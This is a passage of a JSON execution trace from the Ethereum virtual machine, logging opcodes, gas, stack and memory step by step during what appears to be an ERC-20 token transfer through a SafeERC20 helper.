"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2684,"op":"JUMPI","gas":30686,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x0","0x1","0xa86"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2694,"op":"JUMPDEST","gas":30676,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2695,"op":"POP","gas":30675,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2696,"op":"POP","gas":30673,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2697,"op":"POP","gas":30671,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2698,"op":"POP","gas":30669,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2699,"op":"PUSH1","gas":30667,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2701,"op":"MLOAD","gas":30664,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2702,"op":"RETURNDATASIZE","gas":30661,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2703,"op":"PUSH1","gas":30659,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2705,"op":"NOT","gas":30656,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2706,"op":"PUSH1","gas":30653,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2708,"op":"DUP3","gas":30650,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2709,"op":"ADD","gas":30647,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2710,"op":"AND","gas":30644,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2711,"op":"DUP3","gas":30641,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2712,"op":"ADD","gas":30638,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0x20","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2713,"op":"DUP1","gas":30635,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2714,"op":"PUSH1","gas":30632,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0x184","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2716,"op":"MSTORE","gas":30629,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0x184","0x184","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2717,"op":"POP","gas":30626,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2718,"op":"DUP2","gas":30624,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2719,"op":"ADD","gas":30621,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x20","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2720,"op":"SWAP1","gas":30618,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2721,"op":"PUSH2","gas":30615,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2724,"op":"SWAP2","gas":30612,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x184","0x164","0xaaa"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2725,"op":"SWAP1","gas":30609,"gasCost":3,"depth":2